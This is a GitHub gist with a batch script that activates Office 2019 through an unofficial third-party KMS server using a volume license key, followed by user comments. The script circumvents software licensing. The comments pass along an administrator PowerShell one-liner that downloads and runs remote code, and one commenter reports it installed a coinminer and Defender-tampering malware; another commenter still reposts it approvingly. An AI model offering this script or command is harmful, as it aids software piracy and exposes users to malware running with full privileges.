Skip to content

Instantly share code, notes, and snippets.

@mndambuki
Created June 7, 2020 03:41
Show Gist options
  • Select an option

  • Save mndambuki/bf3b6a1de33dd84dc4f59dcf8e111618 to your computer and use it in GitHub Desktop.

Select an option

Save mndambuki/bf3b6a1de33dd84dc4f59dcf8e111618 to your computer and use it in GitHub Desktop.
Activate Microsoft Office 2019
@echo off
title Activate Microsoft Office 2019 !
cls
echo ============================================================================
echo #Project: Activating Microsoft software products
echo ============================================================================
echo.
echo #Supported products:
echo - Microsoft Office Standard 2019
echo - Microsoft Office Professional Plus 2019
echo.
echo.
(if exist "%ProgramFiles%\Microsoft Office\Office16\ospp.vbs" cd /d "%ProgramFiles%\Microsoft Office\Office16")
(if exist "%ProgramFiles(x86)%\Microsoft Office\Office16\ospp.vbs" cd /d "%ProgramFiles(x86)%\Microsoft Office\Office16")
(for /f %%x in ('dir /b ..\root\Licenses16\ProPlus2019VL*.xrm-ms') do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul)
(for /f %%x in ('dir /b ..\root\Licenses16\ProPlus2019VL*.xrm-ms') do cscript ospp.vbs /inslic:"..\root\Licenses16\%%x" >nul)
echo.
echo ============================================================================
echo Activating your Office...
cscript //nologo slmgr.vbs /ckms >nul
cscript //nologo ospp.vbs /setprt:1688 >nul
cscript //nologo ospp.vbs /unpkey:6MWKP >nul
cscript //nologo ospp.vbs /inpkey:NMMKJ-6RK4F-KMJVX-8D9MJ-6MWKP >nul
set i=1
:server
if %i%==1 set KMS_Sev=kms.03k.org
if %i%==2 set KMS_Sev=kms.03k.org
if %i%==3 set KMS_Sev=kms.03k.org
if %i%==4 goto notsupported
cscript //nologo ospp.vbs /sethst:%KMS_Sev% >nul
echo ============================================================================
echo.
echo.
cscript //nologo ospp.vbs /act | find /i "successful"
(echo.
echo ============================================================================
echo #Please feel free to contact me at mail2ehsanalem@gmail.com if you have any questions or concerns.
echo ============================================================================
choice /n /c YN /m "Would you like to visit my Page [Y,N]?"
if errorlevel 2 exit) || (echo The connection to my KMS server failed! Trying to connect to another one...
echo Please wait...
echo.
echo.
set /a i+=1
goto server)
explorer "http://github.io/agileehsan"
goto halt
:notsupported
echo.
echo ============================================================================
echo Sorry! Your version is not supported.
echo.
:halt
pause >nul
@V7415

V7415 commented Sep 14, 2026

Copy link
Copy Markdown

Please kindly assist by activating ms office 2019 since really struggling to activate it on my laptop.

@altytstark1

Copy link
Copy Markdown

I found another way to active Office step1: open Powershell as Administrator step2: paste this command irm https://get.activated.win | iex step3: select 1 for activating Windows, select 2 for activating Office

Do not run this script.

I first ran the script mentioned in original post. It didn't work.

After, that I tried this one from comments and it did work and it activated office.

But, but, after some time problems started two malicious programs started being detected by windows defender :

  1. Trojan:Win64/Coinminer.RB!MTB

  2. VirTool: Powershell/WDAVTamper.B

Even after removing once from defender after pressing start action....these two were reappearing again and again.

Then disconnected internet

Ran windows defender offline scan

It also detected and deleted

Now running full scan after turning it on , this has also detected more and is still running....

What a dreadful past few hours have been.

Save your time and don't run this script. It'll message up your laptop or pc.

I don't know whether I'll be able to remove these successfully now.

If I do I'll update.

@altytstark1

Copy link
Copy Markdown

I found another way to active Office step1: open Powershell as Administrator step2: paste this command irm https://get.activated.win | iex step3: select 1 for activating Windows, select 2 for activating Office

Do not run this script.

I first ran the script mentioned in original post. It didn't work.

After, that I tried this one from comments and it did work and it activated office.

But, but, after some time problems started two malicious programs started being detected by windows defender :

  1. Trojan:Win64/Coinminer.RB!MTB
  2. VirTool: Powershell/WDAVTamper.B

Even after removing once from defender after pressing start action....these two were reappearing again and again.

Then disconnected internet

Ran windows defender offline scan

It also detected and deleted

Now running full scan after turning it on , this has also detected more and is still running....

What a dreadful past few hours have been.

Save your time and don't run this script. It'll message up your laptop or pc.

I don't know whether I'll be able to remove these successfully now.

If I do I'll update.

Update: After 4 to 5 hours, finally able to remove these with full offline scans and an another full scan afterwards and some more powershell scripts. It's gone for now, will update if it re emerges again.

@ayoubdiaji

Copy link
Copy Markdown

Thank you friend

@AbhishekN843

Copy link
Copy Markdown

irm https://get.activated.win | iex

Thank you

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment